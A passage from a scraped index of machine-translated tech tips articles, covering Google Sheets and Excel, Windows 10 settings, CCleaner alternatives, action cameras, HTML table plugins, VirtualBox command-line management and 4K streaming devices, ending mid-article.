Shift + I, then press G Delete row:\nOn Google Chrome browser: hold down Alt + E, then press D Other browser: hold down Alt + Shift + E , then press D Delete column:\nOn Google Chrome browser: hold down Alt + E , then press E Other browser: hold down Alt + Shift + E , then press E 7. Shortcuts to use open formulas Show all formulas: Ctrl + ~\nInsert array formula (Array formula): Ctrl + Shift + Enter\nCollapse array formula extensions (array formula): Ctrl + E\nShow / hide recipe support menu: Shift + F1\n8. Shortcuts support screen reading Activate screen reading text mode: Ctrl + Alt + Z\nRead the text in the column: Ctrl + Alt + Shift + C\nRead the text in the row: Ctrl + Alt + Shift + R\nThe next section of Network Administration will introduce you to the common shortcut list for Google Sheets on Mac.\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2WTpLquu81mqqGnoqmwtsDSZp2oql2cvLCzy55krKCVmsG0ec6nZJynnaXCtbHRrGSpmaKpenI%3D\n","link":"/post/list-of-common-shortcuts-for-google-sheets-on-computers-part-1/","section":"post","tags":null,"title":"List of common shortcuts for Google Sheets on computers (Part 1)"},{"body":"Sometimes you want the desktop icons to show larger to make it clear or want image files to show larger thumbnails to make it easier to see . So with a few simple steps below in Windows 10 You can change the display size of icons, files, text . on your computer as needed.\nWays to turn off your computer on Windows 10 Instructions for filming and taking game screen shots in Windows 10 3 ways to change the default browser in Windows 10 Change the icon size on the desktop At the desktop, right-click and select View . Here there will be 3 options for you Large icons , Medium icons and Small icons . The default of Windows 10 will be Medium icons .\n  Change the size of icons on the Taskbar In case you want to resize the icons displayed in the taskbar in the way you want, the following way will help you. But this way will also change the size of text, applications and other content on Windows 10.\nYou can also right-click on the Desktop and select Display Settings\n  Next in the Change the size . section , move the slider to change the desired size\n  Finally click the Apply button at the bottom of the Display window. Windows may require you to log out and log back on for changes to be applied. This setting not only makes the icons in the taskbar slightly larger, but it also makes the text larger in applications such as Microsoft Edge and Calendar, as well as in the notification window on Windows 10.\nChange the size of icons in File Explorer If you want larger, smaller or thumbnail images in a specific folder in File Explorer , do the following. You just need to access the folder you want to change the display size, hold down the Ctrl key and then use the scroll bar to zoom in or out the display size of the files and folders inside.\n  Although File Explorer will remember your last setting when you open this folder again, this setting will only apply to a specific folder, so you will have to adjust each folder you want to change. size shown on the system.\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2FyLOcZqGTpLu0ecinZLChnpm8uL%2BMamc%3D\n","link":"/post/resize-icons-in-windows-10/","section":"post","tags":null,"title":"Resize icons in Windows 10"},{"body":"Summary of the most beautiful decorative borders so that you can adorn your word page even more beautiful. TipsMake.com we synthesize contour files in Word and png images for you to select and insert into your work.\n1. The Word file template has beautiful borders           You download the template Word file with beautiful borders here:\nfile-duong-vien-word.rar\n2. Nice decorative border image to insert into Word file   Beautiful decorative borders (1)\n  Beautiful decorative borders (2)\n  Beautiful decorative borders (3)\n  Beautiful decorative borders (4)\n  Beautiful decorative borders (5)\n  Beautiful decorative borders (6)\n  Beautiful decorative borders (7)\n  Beautiful decorative borders (8)\n  Beautiful decorative borders (9)\n  Beautiful decorative borders (10)\n  Beautiful decorative borders (11)\n  Beautiful decorative borders (12)\n  Beautiful decorative borders (13)\n  Beautiful decorative borders (14)\n  Beautiful decorative borders (15)\n  Beautiful decorative borders (16)\n  Beautiful decorative borders (17)\n  Beautiful decorative borders (18)\n  Beautiful decorative borders (19)\n  Beautiful decorative borders (20)\n  Beautiful decorative borders (21)\n  Beautiful decorative borders (22)\n  Beautiful decorative borders (23)\n  Beautiful decorative borders (24)\n  Beautiful decorative borders (25)\n  Beautiful decorative borders (26)\nThank you for following the article Combining the most beautiful decorative borders of TipsMake.com us. Hope you have a good time with this article.\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmpKirpGKvpq3UraCfrZxisaavzquYraGmmnqju9GdnKur\n","link":"/post/summary-of-the-most-beautiful-decorative-borders/","section":"post","tags":null,"title":"Summary of the most beautiful decorative borders"},{"body":"CCleaner has long been a choice for many people when it comes to Windows system cleaning software, not only that, but it gradually extends to both macOS and Android. But since the acquisition of security giant Avast last year, CCleaner has led many people to suspect and turn away.\nFrom increasing capacity (6MB in 2016 to about 15MB this year) to sticking with malicious code, lots of ads and offers, collecting user computer data . CCleaner makes many users give up tools they still trust for a long time.\nThe latest CCleaner v5.44 has been updated to fix issues with many promises from developers, but if you still have a heart to turn around, these are CCleaner alternatives.\nAlthough you can use Windows' built-in Disk Cleanup tool, the same external CCleaner software always brings ease of system cleaning, free memory, and additional tools such as management applications running with the system .\nThe article will introduce in order from as much to as little as the CCleaner replacement software, and all-in-one tools for those who like to add more features.\nThe CCleaner replacement software Wise Disk Cleaner\nCommon file cleaning software (temp file, browsing history .) and Advanced (scan the drive for special files). Combining both, you can find lots of files to delete. Despite the fragmentation feature, junk file scanning is still the main feature of this software.\nIf you want an all-in-one utility, Wise Care 365 will have additional features.\n  Wise Disk Cleaner interface\nClean Master\nEasy to use interface. The display options are easy to see, junk files are very similar to Windows File Explorer. The free version has a spyware scanner and accelerates the computer like Advanced SystemCare (to be discussed later), the $ 30 Pro version has file recovery and driver management capabilities.\nSystem Ninja\nThe tool is simpler than Wise Disk Cleaner and Clean Master but not so simple as Bleachbit or KCleaner. System Ninja also has some additional tools such as finding duplicate files, viewing system information, but basically the main feature is finding junk files, having a nice interface, finding more files than Bleachbit and KCleaner.\n  System Ninja has a nice interface but not many features\nBleachbit\nThe main tool is scanning junk data, but not as much as other tools, but anyone who likes a simple interface and open source tool will like Bleachbit.\nKCleaner\nThe interface is not as simple as Bleachbit but quite old, must choose advanced mode to analyze the system. The button to check the drive or delete the file will lead to other utilities that users have to download and install separately.\nThe all-in-one tool is capable of cleaning up the system Advanced SystemCare (ASC)\nIObit offers lots of introductory popups, offers to register during the installation process, but the software has a modern interface and many features. When testing, the number of junk files found by default is similar to CCleaner but after all, CCleaner still finds more. (The reason is that CCleaner chooses to delete the file in C: WindowsLiveKernelReports that the ASC cannot do, as is most of the other software).\nAnother plus is the ability to manage CPU / RAM usage independently on a computer, an integrated tool that \"prevents malware from changing DNS settings\" and quickly selects to switch between DNS providers (Google, Verizon , OpenDNS, Comodo, DNS Advantage).\nAlthough some other features such as scanning the drive need to install a removable utility (specifically, Driver Booster), but this tool is also automatically downloaded, installed, opened on the same ASC window, acts as a training place middle of IObit's tools.\n  A combination of IObit products\nGlary Utilities\nGlary's Dick Cleaner has a CCleaner-like interface in the way information is displayed but the window is fixed, can't be opened as usual. Additional tools also have an estimate of the time to boot Windows. The way to display basic features is similar to CCleaner (there is no editing menu, duplicate file finder, malware scan).\nSome other tools are available: Puran (useful but old), Ashampoo WinOptimizer (ineffective), JetClean (not updated for many years), System Cleaner (also old), Privazer (few options for files) System information with more web files), Uncleaner (very basic), System Mechanic (automatically scans on startup, email for activation).\nSee more:\nThese are the reasons you should remove CCleaner on Windows right away CCleaner 5.45 is wiped out by collecting user data, if you are using it, remove it immediately CCleaner has been hacked, attached malware, things to know and how to fix it ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdmLCtscCnnKtlopq9ra3CnqSepqRiwLCy07CYq50%3D\n","link":"/post/the-best-ccleaner-replacement-software/","section":"post","tags":null,"title":"The best CCleaner replacement software"},{"body":"The OFFSET () function is a function of the reference and search function group in Excel. Functions are used quite a lot when processing and calculating data in spreadsheets. The following article helps you better understand the OFFSET () function you guys follow along.\n  The article describes the syntax and usage of OFFSET () function in Excel.\nDescription The OFFSET () function returns a reference to a range, a cell or a range of cells with the number of rows and columns specified by you.\nThe return reference can be a cell or a range of cells that you can specify the number of rows and columns to return.\nSyntax = OFFSET (reference, rows, cols, height, width) \nInside:\n- reference: is the reference area that you want to rely on to create a new reference area. The reference must be referenced to a consecutive cell or range of cells, otherwise the function will return an error value.\n- rows: is the number of rows, up or down the reference, counting from the first cell of the reference. The row number can be a positive number (below the reference) or a negative number (above the reference).\n- cols: is the number of columns, left or right of the reference, starting from the first cell of the reference. The column number can be positive (right reference) or negative (left reference).\n- height: is the height calculated by the number of rows you want to have the reference returned.\n- width: is the width calculated by the number of columns you want to have the reference returned.\nNote - Height and width must be positive numbers.\n- If omitting height and width, the OFFSET () function will default to the height and width of the reference.\n- If rows and cols cause the reference area to go beyond the range of the worksheet, the OFFSET () function will report the #REF! Error.\n- The OFFSET () function does not move or change any selected part because the function returns only a reference. You can use the OFFSET () function in combination with functions that require a reference argument.\nFor example 1. In cell B8 returns the value of cell E6 through the base reference cell B5.\n- In cell B8 you enter the formula: = OFFSET (B5,1,3,1,1)\n  2. Combine the OFFSET () function with the SUM () function.\nFor example, the total salary and bonus for Nguyen Thi Dung's employees start from cell B6 (salary of the first employee).\nApplying the function: = SUM (OFFSET (B6,3,0,1,2)) you will get the following result:\n  The OFFSET () function can be combined with many other functions to calculate and process data in Excel. Functions will help you a lot if you know how to apply functions and combine them effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKidn6uVqXqnwc2cq6KnnmK%2FpsDUq6WsZZFiv6ayxKucp5uVYravecSxmp6k\n","link":"/post/the-offset-function-returns-a-reference-in-excel/","section":"post","tags":null,"title":"The OFFSET function returns a reference in Excel"},{"body":"Earlier this week, Microsoft began rolling out the Windows 10 May 2020 Update (20H1, Windows 10 2004) to global users. This major update comes with a number of notable new platform features and improvements that promise to contribute to improving the user experience. But not outside of the 'tradition' of Windows updates, the May 2020 Update also contains a number of compatibility issues with the system, this time a conflict with Intel's Optane memory. .\nFirst launched in 2017, Optane is an integrated memory module designed by Intel to improve the performance of PC systems. Optane memory uses 3D NAND fabrication techniques and Intel proprietary technologies to deliver faster speeds with low latency (only 10 microseconds).\nIn other words, Optane memory is not RAM, nor the technology used for normal storage. Instead, it acts as a cache - the bridge between RAM and internal memory to help data transfer faster between RAM, internal memory and the processor.\nHowever, it seems that the Windows 10 May 2020 Update is not compatible with some Intel Optane memory modules. Recently, many users on major forums such as Intel, Twitter and Feedback Hub . have reported cases of systems using their Optane memory having problems installing new Windows updates.\nWindows Latest experts then tested and found some compatibility issues between Windows 10 May 2020 Update and certain Intel Optane memory modules that made the update impossible to install. via Windows Update.\nIf users try to update via the Media Creation Tool, their PC will likely encounter compatibility issues. Specifically, during the update process, Windows 10 will automatically delete an Optane Memory Pinning file from the device. This resulted in the following message being issued:\n'Unable to load DLL' iaStorAfsServiceApi.dll ': The specified module could not be found. (Exception from HRESULT: 0x8) '.\nNotice from the system To troubleshoot an issue with Intel Optane after upgrading to Windows 10 May 2020 Update, you can try the following steps:\nStep 1: Navigate to Control Panel\u0026gt; Programs\u0026gt; Programs and Features.\nIntel Optane Pinning Explorer Extensions Step 2: Select and uninstall ' Intel Optane Pinning Explorer Extensions '.\nStep 3: Disable Intel Optane and restart the PC.\nStep 4: Re-enable Intel Optane and restart the PC.\nIf you still get the error, uninstall Windows 10 May 2020 Update, revert to an earlier version of the operating system, and wait until Microsoft fixes the problem.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZXqurdhmaWlqYGLCsbDArZxmnZ6YvLa6056pnpxdlrtutc2cpqaokam2o7XLoquyZZWnv7C%2BjLCgraBdnru1sctmpqmskaOybrnEpqarsQ%3D%3D\n","link":"/post/windows-10-may-2020-update-encountered-an-incompatibility-error-with-intel-optane-memory/","section":"post","tags":null,"title":"Windows 10 May 2020 Update encountered an incompatibility error with Intel Optane memory"},{"body":"This cruise control camera is now available for both cars and motorcycles to record every occurrence on the road. Especially for backpackers and those who love to explore by motorbike, the use of a helmet-mounted parking camera is a favorite and necessary to record all the beautiful scenes that they go through, as well as every love. situations can occur throughout the way.\nCamera dedicated to the machine has many different types depending on the needs of each person. You can find the type of connection support for WiFi phones, or have the ability to stabilize and stabilize the image when the car goes through all terrain. So, what are the bright names for motorcycle-mounted action cameras that you should hurry? Please refer to the following article of Network Administration.\nWhat to note when buying surveillance cameras for the family 5 best wireless security cameras for the home Things to know before installing a wired security camera system Surveillance Camera: Should buy wired or Wi-Fi type? 1. Basic criteria to choose to buy motorcycle cameras? When planning to buy a motorcycle camera, you first need to determine the need to buy cameras at what level, medium, advanced and what support features.\nBecause you have to travel long distances and different types of terrain, possibly passes, mountain roads, the camera you choose to buy must have water and dust resistance, especially capable of superimposing vibration and image stabilization to record videos in the roads are not flat. Currently some types of motorcycle cameras have a lot of shooting modes, capable of connecting and using directly with 3G / 4G, Wifi Smartphone to view images directly on mobile phones. This makes it easy to share photos to others.\nThe camera line must always be priority with HD recording quality, if possible, choose Full HD or greater will be 4K camera, with the ability to adjust the rotation angle. The average camera angle must be 150 degrees or more wide. Battery life should also be noted.\n  In addition to the aforementioned features, it is necessary to select additional accessories for the camera, such as a protective frame, strap, clip, . Should choose the camera series with accessories and can be used with many types, not Should choose separate accessories because it is difficult to find and replace.\n2. Top itinerary for motorcycles 1. AKASO EK7000\nAKASO EK7000 features video recording, 12MP picture quality, with built-in remote control and remote control, backup battery, Wi-Fi connection for image transfer, 4K video recording angle 170 degrees, SPCA 6350M processor (1080P / 60FPS).\nReference price: 1,500,000 VND\n  2. SJCAM SJ4000\nThe SJ4000 supports up to full HD resolution, WiFi connection for remote control, photo and video sharing, 12MP waterproof sensor at a depth of 30m. The device is equipped with CMOS Sensor Aptina AR0330, image processor Novatek 96650\nReference price: 1,990,000 VND\n  3. Polaroid Cube Camera\nPolaroid Cube has a compact design, fashionable 6 MP camera sensor. In particular, the device is equipped with 124-degree wide-angle 1080p Full-HD video recording for Cube (3MP photos) storage expanded via microSD card, recording 90 minutes of video for each use.\nIn addition, the Polaroid Cube device is supported with a tripod, which can be attached to devices, not only for helmets, but also for bicycles.\nReference price: VND 2,300,000\n  4. Camera GECKO S1\nCamera GECKO S1 owns 4K resolution, has the ability to adjust the width of the rotation angle, auto leveling, backlit, anti-shake, ISO adjustment and aperture. The device integrates Sony lens and uses SONY IMX 117 chip to produce high quality images and videos, high image processing speed, 16MP image resolution. External memory up to 64GB, the battery can rotate in about 70 minutes continuously.\nReference price: VND 2,300,000\n  5. GOPRO HERO SESSION\nThe device can be rotated under 10 m / 33 ′, wide angle of rotation up to 170 degrees, has 4K mode and lightweight design easy to use. User can control by voice but without WiFi connection mode.\nReference price: VND 3,900,000\n  6. SJCAM SJ7 STAR\nThe device uses Sony IMX117 image sensor, 12.4MP resolution and Ambarella A12S75 processor chipset, the camera has a 166-degree viewing angle. With SJ7 STAR recording with a maximum resolution of 4K (3840 x 2160) at 30 fps, 1440p (1920 x 1440) and Full HD (1920 x 1080) at 60fps.\nWhile on the move, the camera is stabilized and anti-vibration thanks to the gyroscope, which can be recorded outside.\nReference price: 3,900.00 VND\n  7. GoPro HERO +\nGoPro HERO + version is a shortened version of HERO + LCD model, with WiFi and Bluetooth support to transfer videos to other devices, support movie recording with maximum quality Full HD 1080p @ 60fps. The camera is also water resistant to 10m.\nReference price: VND 4,000,000\n  8. TOMTOM BANDIT\nThe device has a battery life of about 3 hours with the built-in sensor, has a maximum recording mode of 4k, is waterproof to a depth of over 40m, the resolution reaches 16MP, 1080p / 60fps, 720p / 120fps. However, the camera has a relatively heavier weight than the other models.\nReference price: VND 4,830,000\n  9. KAISER BAAS X4\nThe camera has a 4K recording mode at 30 frames per second, can control the device remotely via a mobile phone with WiFi connection on the device. 12MP image quality, waterproof to a depth of 40m\nReference price: VND 4,800,000\n  10. YI 4K ACTION CAMERA\nThe device comes from Xiami, owns the Sony IMX377 12MP image sensor, 155-degree wide-angle rotation, maximum aperture of f / 2.8. Especially, the device has its own integrated image and video editing application. The camera enables 4K video recording at 30fps, Full HD 1080p at 120fps and HD 720 at 240fps. Video recording mode, video recording with Full HD 1080p resolution at 120fps and HD 720p is 240fps.\nReference price: VND 5,100,000\n  Hope this article was helpful to you\nncG1vNJzZmismaXArq3KnmWcp51kfnF52Kisp59dlrulecKopKmZk6l6rrvTqKmcsZOhsm62zq6pp52pYrCiucSrmA%3D%3D\n","link":"/post/10-young-and-compact-motorcycle-journey-camera/","section":"post","tags":null,"title":"10 young and compact motorcycle journey camera"},{"body":"Displaying data is the key to better understanding cumbersome or complex information. There are many ways to visualize data, ie you can design a beautiful infographics or create interactive charts. It all depends on your data and how you want to present them.\nHowever, the topic of today's article will be about HTML tables and some really useful resources for creating them. Here are 35 tips, tools, scripts and plugins that can help you create multiple tables to present your data. Let's find out soon!\nTable jQuery Snippets These handy snippets come with easy-to-understand explanations that will help you develop interactive tables. For example, these snippets allow you to add automatically, retrieve cell values, etc.\n  Link reference: http://www.dotnetcurry.com/jquery/1277/html-table-jquery-code-examples\nStyling Tables Here are a bunch of tips and tricks that help style your tables effectively by improving the layout, typography, text alignment and more. Moreover, it also adds color options, graphics and annotation options along with other aspects of the table.\n  No More Tables This is a snippet that helps you create responsive and portable tables, displaying individual rows on a small screen. Alternatively, you can change colors, fonts and font sizes, etc. using CSS.\n  Scroll-able Table Body This trick can make the content in the table scrollable - a feature found in most spreadsheet tools like Google Sheets. That means, you can edit the title and the content of the table or the content can scroll to see, as usual, making the table show more information than before.\n  Fixed Table Header Another trick like the Scroll-able Table Body above, Fixed Table Header helps create a table with a fixed title and scrollable content. You can customize the table to include colors and fonts, just like in Scroll-able Table Body.\n  Pure CSS Table Highlight A simple trick allows you to mark a specific box when hovering - vertically as well as horizontally. In addition, the final table can be personalized with custom colors and fonts. This trick is most useful when you need to display the number in the table.\n  TABLEIZER! TABLEIZER! is an online tool that allows you to create simple tables with HTML, use data from Excel, Google Sheets or any other spreadsheet tool. You can also customize the final table using CSS, just like any other table in HTML.\n  HTML Table Generator HTML Table Generator is a simple table creator that helps you create and customize almost every aspect of the table with options on the screen. The best thing is that you can manually create tables, upload CSV files or import data from spreadsheet tools like Excel. You can also style the table by selecting a theme from its template set.\n  Quackit HTML Table Generator Another online table creator helps you create tables with a set of custom options. Styling options include size, color, border, etc. However, there is no data entry option, unlike the HTML Table Generator above.\n  Rapid HTML Tables Table Generator Rapid Tables HTML Table Generator of Rapid Tables is another table creation tool, similar to the 2 tools above. It offers more customization options than the above tools such as size, border, color, alignment and some other options. However, like the above tools, it only supports table creation manually and does not allow importing files or getting data from spreadsheet tools like Google Docs.\n  HTML Table Styler As a custom table tool, HTML Table Styler, allows you to style your tables with on-screen options. These options create CSS for the table with HTML. Surprisingly, this tool displays a live preview of the table, allowing you to test and try styling options. In addition, it provides themes for quick styling for a table that you can also customize later.\n  Reference link about HTML Table Styler: http://divtable.com/table-styler/\nConversion Tools Conversion Tools is a useful website for anyone who needs to handle tables and spreadsheets daily. It supports you to convert HTML table into CSV file, Excel file into HTML table, Excel file into CSV file and many other conversions.\n  HTML Table to Div Converter As an online converter, HTML table to Div Converter allows you to convert traditional tables into div tables, ie tables created with 'div' elements. All you need to do is copy and paste a table on its page and click the convert button to create the div table.\n  Link refer to HTML table to Div Converter: https://divtable.com/converter/\nHandsontable Handsontable is an innovative spreadsheet component for web applications, allowing you to quickly develop and publish spreadsheets in your application. It offers a wide range of features such as support for multiple frameworks, high performance with huge amounts of data, essential capabilities like search, filtering, etc., allowing developers to build tables in a way fast.\n  Dynatable.js An interactive plugin for building tables, Dynatable.js uses HTML, jQuery and JSON to create tables and other table-like structures. You can create tables directly from JSON and combine all the necessary functions like searching, filters, counters and paging.\n  Bootstrap Table Bootstrap Table is an extended version of the table provided with Bootstrap. It minimizes your time and effort in creating tables and provides a responsive design. It offers features like scrollable and editable titles, as well as functions like sorting, paging, etc.\n  Link to Bootstrap Table: http://bootstrap-table.wenzhixin.net.cn/\nList.js List.js is a simple and powerful JavaScript plugin that allows you to create lists and tables with flexible features like filtering, searching and sorting, etc. It is built with Vanilla JavaScript, so you don't Request any third-party library.\n  LIT.js download link: http://listjs.com/\njExcel jExcel is a lightweight jQuery plugin that allows you to embed any spreadsheet compatible with Excel in your website. The plugins support in creating an Excel-like table, allowing you to move, resize, copy, paste and perform more actions with sheet data.\n  DataTables As a super flexible plugin for jQuery, DataTables allows you to add advanced interactive controls to any HTML table. It helps you add paging, search features, themes, etc. In addition, it provides a large number of extensions to add more functionality.\n  jQuery Bootgrid jQuery Bootgrid is a sleek and intuitive plugin for creating and managing tables. It provides features like search, paging, etc. along with custom templates.\n  Link download jQuery Bootgrid: http://www.jquery-bootgrid.com/\njQuery-Tabledit jQuery-Tabledit is an online editor for Bootstrap-compatible HTML tables that allows users to edit data in tables. You can provide buttons to switch between view and edit, including delete, restore, and customize buttons using CSS.\n  Link download jQuery-Tabledit: http://markcell.github.io/jquery-tabledit/\njsGrid jsGrid is a lightweight jQuery plugin that helps create and manage data tables. It supports various activities in the table such as filtering, paging, sorting, etc. It also allows you to customize the look of the table and support internationalization.\n  Download link jsGrid: http://js-grid.com/\nSmart Table As a powerful library, Smart Table helps you convert any HTML table into a smarter table with options such as filtering, searching, sorting, etc. It is combined with more features to Help build a table professionally.\n  HighchartTable HighchartTable automatically converts HTML tables into charts and graphs. Ideal for project analysis and statistics in charts with numerical data in tables.\n  Link to HighchartTable: http://highcharttable.org/\nTableExport TableExport is a simple library to export an HTML table to CSV, TXT or Excel files. Using this library, you can easily create tables with export to file.\nTabulator Tabulator is a jQuery plugin for creating interactive tables from HTML table, JavaScript array, JSON, etc. It supports almost all standard table functions such as searching, sorting, filtering, and so on. grants many features like theme, callback and localization.\n  Download link Tabulator: http://tabulator.info/\nFancyGrid As a grid library, FancyGrid allows you to create beautiful tables with charts and graphs. It supports a lot of data sources including JSON, with various functions like sorting, searching, etc., which allows to apply themes and modules, as well as bring more features.\n  KingTable KingTable allows you to build admin tables with minimal encryption. It comes with a large number of features, including searching, sorting, filtering and other popular client or server functions. You can customize the look of the table, add custom filters and export the data to different formats like CSV, JSON and Excel.\nstacktable.js As a jQuery plugin for tables, stacktable.js allows you to convert any table width to tables with 2 values ​​columns. This is an ideal solution for displaying large tables on small screens like mobile devices. In addition, you can queue or column if needed.\n  Download link stacktable.js: http://johnpolacek.github.io/stacktable.js/\nTabella.js Tabella.js helps you create responsive tables with fixed titles and data that can scroll - even horizontally to include more columns than usual. Moreover, you can create multiple tables on the same page, as well as create multi-purpose tables.\n  Link refer to Tabella.js: http://iliketomatoes.github.io/tabellajs/\nTablePress TablePress is a great plugin for WordPress, allowing you to create and embed tables into posts, pages and text utilities using a shortcode. The editable tables in the interface look like a spreadsheet and can contain all kinds of data including formulas. You can also add features like searching, sorting and exporting data to different formats.\n  Data Tables Generator by Supsystic The Data Tables Generator helps create and manage tables directly from the admin panel using the frontend table editor. Surprisingly, you can also include charts and graphs in tables along with captions, headers and footers. What's interesting is that the tables can be completely edited, as well as exported to CSV, Excel or PDF format.\n  Pricing Table by Supsystic Another plugin of Supsystic, Pricing Table allows you to create price lists without any obstacles. You can choose a template, edit the pricing content and export it on your WordPress. In addition, the tables created using this plugin are responsive and appropriate on all devices.\n  Magic Liquidizer Responsive Table As a plugin for creating tables in WordPress, Magic Liquidizer Responsive Table transforms any regular table into a responsive and portable table. You can insert images, text, etc. into tables and display them on all devices - even devices with small screens.\n  Copytables Copytables is an extension for Google Chrome that allows copying tables from web pages. You can select cells, rows or columns in the table on any web page and copy them directly in CSV format tab-delimited or HTML to use them on demand.\n  See more:\nInstructions for creating HTML signatures in ThunderBird Convert PDF format to EPUB, MOBI or HTML Transfer Office documents to HTML or PDF format ncG1vNJzZmismaXArq3KnmWcp51kgHZ506impatdqLCztc%2BtqmaZnpl6sbjUoKCnq12pvG6u1KKjnWWYqbqtedOamaWd\n","link":"/post/35-tools-scripts-and-plugins-to-build-html-table/","section":"post","tags":null,"title":"35 tools, scripts and plugins to build HTML Table"},{"body":"Virtualization is one of the core computing technologies today. With a virtual machine (VM), you can run almost any desired operating system on your PC without spending money on additional hardware.\nThis tutorial explores how to use the command line terminal in managing VirtualBox virtual machines, regardless of whether the operating system you are using is Windows, macOS, or Linux. All VirtualBox installations come with the command line tool VBoxManage, a powerful and flexible utility for managing virtual machines.\nWhat is VboxManage? VboxManage is a command line tool (CLI) that comes by default as part of the VirtualBox software installation.\nYou can manage most of your VMs from the GUI, VboxManage CLI gives you more functionality as it gives you direct access to the virtualization engine, allowing you to access additional features without available through the GUI. Also, most Linux servers don't come with a GUI, so you can still manage your virtual machines even in headless mode.\nAll VboxManage commands begin with the word vboxmanage and are usually followed by a subcommand such as list, controlvm, etc. Usually, you are asked to provide the name of the VM you want to configure or control.\n6 useful VirtualBox commands to manage virtual machines 1. List virtual machines One of the most common and important VirtualBox commands is to list all the virtual machines available on your PC or server. This is how you can view or list all the virtual machines that are registered on your PC. From the output you will notice that each virtual machine is assigned a unique identifier (UUID) that is used to identify a virtual machine.\nTo list the virtual machines installed on the computer, use the following command:\nvboxmanage list vms   If you want a detailed list, add the -l or --long flag to the vms list vboxmanage command. The results show you all registered virtual machines and detailed information like configuration of each virtual machine, hardware details, settings, etc.\nSometimes you are only interested in listing the currently running VMs. In that case, you can use the list subcommand with the runningvms option as follows.\nvboxmanage list runningvms 2. Start and stop a virtual machine To start a virtual machine using VboxManage, use the startvm subcommand followed by the virtual machine name or UUID. For example, run the following command to start the virtual machine with the name Window11 listed in the previous section.\nvboxmanage startvm Windows11 When it comes to stopping a virtual machine, you have several options available. You can shutdown the virtual machine or suspend it.\nTo stop a virtual machine by powering off, you use the controlvm subcommand followed by the name of the virtual machine and then the poweroff option as follows.\nvboxmanage controlvm Windows11 poweroff You will be shown the virtual machine shutdown progress in percentage.\nIf you want to prevent the virtual machine from consuming system resources but not necessarily shutting it down, you can pause the virtual machine and resume it later.\nTo suspend a running virtual machine, use the following command.\nvboxmanage controlvm Window11 pause Note that the suspended virtual machine is still listed in the running virtual machine. To get information about the state of a virtual machine, run a long list using the command:\nvboxmanage list runningvms -l In the output, the state parameter should be paused. Timestamps when the VM was paused will also be listed.\n  To resume a paused virtual machine, use the following command.\nvboxmanage controlvm Windows11 resume 3. Get virtual machine information To view information related to a specific virtual machine instead of listing all virtual machines, use the showvminfo subcommand. For example, you can run the following command to get detailed information about the Windows11 virtual machine, including hardware and other configuration details, network status, etc.\nvboxmanage showvminfo Windows11 4. Create a virtual machine Another important task when managing virtual machines is creating new virtual machines. Use the createeavm subcommand to create a new virtual machine. For example, to create a virtual machine named \"DebianVM\" running on the Debian Linux operating system, you can run the following command.\nvboxmanage createvm --name DebianVM --ostype Debian Debian_64 --register If you are unsure about the operating system name to use in your virtual machine, you can check the supported VirtualBox operating systems with the following command.\nvboxmanage list ostypes   For example, if you want to modify the newly created virtual machine to change the memory size, name, and other relevant parameters, you can use the modvm subcommand.\nFollowing the modvm subcommand syntax is the name of the virtual machine you want to modify. Next, you specify the setting you want to change, and finally the value of the setting.\nAssume that you want to change the name of the newly created virtual machine above from DebianVM to Debian9 using the --name setting.\nvboxmanage modifyvm DebianVM --name Debian9 You can see a list of settings that you can modify by running the command:\nvboxmanage modifyvm 5. Snapshot and restore Backups are an important component of maintaining a robust IT system. VirtualBox gives you the ability to keep the state of your virtual machine so you can restore it if something goes wrong.\nTo take a snapshot of a specific virtual machine, you can run the following command, where Christmas eve snapshot is the name given to your virtual machine snapshot.\nvboxmanage snapshot Windows11 take \"Christmas eve snapshot\"   To restore the above virtual machine with the newly created snapshot, first stop the virtual machine if it is running, then restore the snapshot with the following command.\nvboxmanage snapshot Windows11 restore \"Christmas eve snapshot\" Obviously, you can convert the snapshot name to something else that matches your virtual machine settings.\n6. Get help To become better at using VboxManage CLI, you must know how to get help or read documentation from the terminal instead of memorizing commands. In addition, there are many other commands that have not been covered in this tutorial. Learn more about the VboxManage commands and the options it gives you by running the following command:\nvboxmanage This tutorial explored some important commands for managing VirtualBox virtual machines with VboxManage, a powerful and lightweight CLI tool. In addition, you can easily create automation scripts based on VboxManage to manage virtual machines easily.\nVirtual machines give you the opportunity to run and experiment with multiple operating systems on your PC. Additionally, because the virtual machine runs in a secure and isolated environment, you can rest assured that if a client or virtual machine crashes, it won't negatively affect the host operating system.\nVirtualBox virtual machines ncG1vNJzZmismaXArq3KnmWcp51kg27B0p6drqRdq7azwNSao5unqGKwsLnMmqWdq12pvG65wKeYoJ1dq7azwNSao2alkZi1qrrErA%3D%3D\n","link":"/post/6-useful-virtualbox-commands-to-manage-virtual-machines/","section":"post","tags":null,"title":"6 useful VirtualBox commands to manage virtual machines"},{"body":"The market for online streaming equipment is more competitive than ever. Today, for a specific price, there are many devices to choose from.\nHowever, if you want the best product, you should invest in devices that support 4K video. Many of the most popular streaming services are also targeting this format.\nIn fact, you have 4 main 4K devices to choose from: Chromecast Ultra, Apple TV 4K, Roku Ultra and Amazon Fire TV 4K.\nWhat are each special options? Which option has the best specs? Which has the widest content selection? And what is the best option? Let's take a closer look through the following article.\u0026nbsp;The 4K HD TVs are also reviewed by Best Pick TV.\nCompare Chromecast Ultra, Apple TV 4K, Roku Ultra and Amazon Fire 4K Chromecast Ultra Technical specifications content  Apple TV 4K Technical specifications content  Roku Ultra Technical specifications content  Amazon Fire TV 4K Technical specifications content  Which device should you buy? Chromecast Ultra   The Chromecast Ultra is twice as expensive as a regular Chromecast, but for those who want a device that is compatible with 4K format, this product is 'worth the money'.\nTechnical specifications Chromecast Ultra is Google's product in the field of 2160p video.\nThe application can play 4K content from any device connected to the wireless network and is also compatible with HDR content (High Dynamic Range). For those who don't know HDR yet, it allows videos to have more vivid contrast, wider color palettes and higher brightness levels.\nThere is another significant difference between Chromecast Ultra and regular Chromecast. That is the presence of an Ethernet port. It means that you can plug it into a wired network and (theoretically) enjoy a faster and more stable connection.\nInside the product, you will find Marvell Armada 1500 Mini Plus 88DE3009 chip, 256MB RAM, Wi-Fi 802.11 b / g / n / ac support and both 2.4GHz and 5GHz bands. Chromecast Ultra weighs 1.66 ounces (about 47g).\nIn technical terms, the two most prominent disadvantages of Chromecast Ultra are the lack of remote control and the lack of user 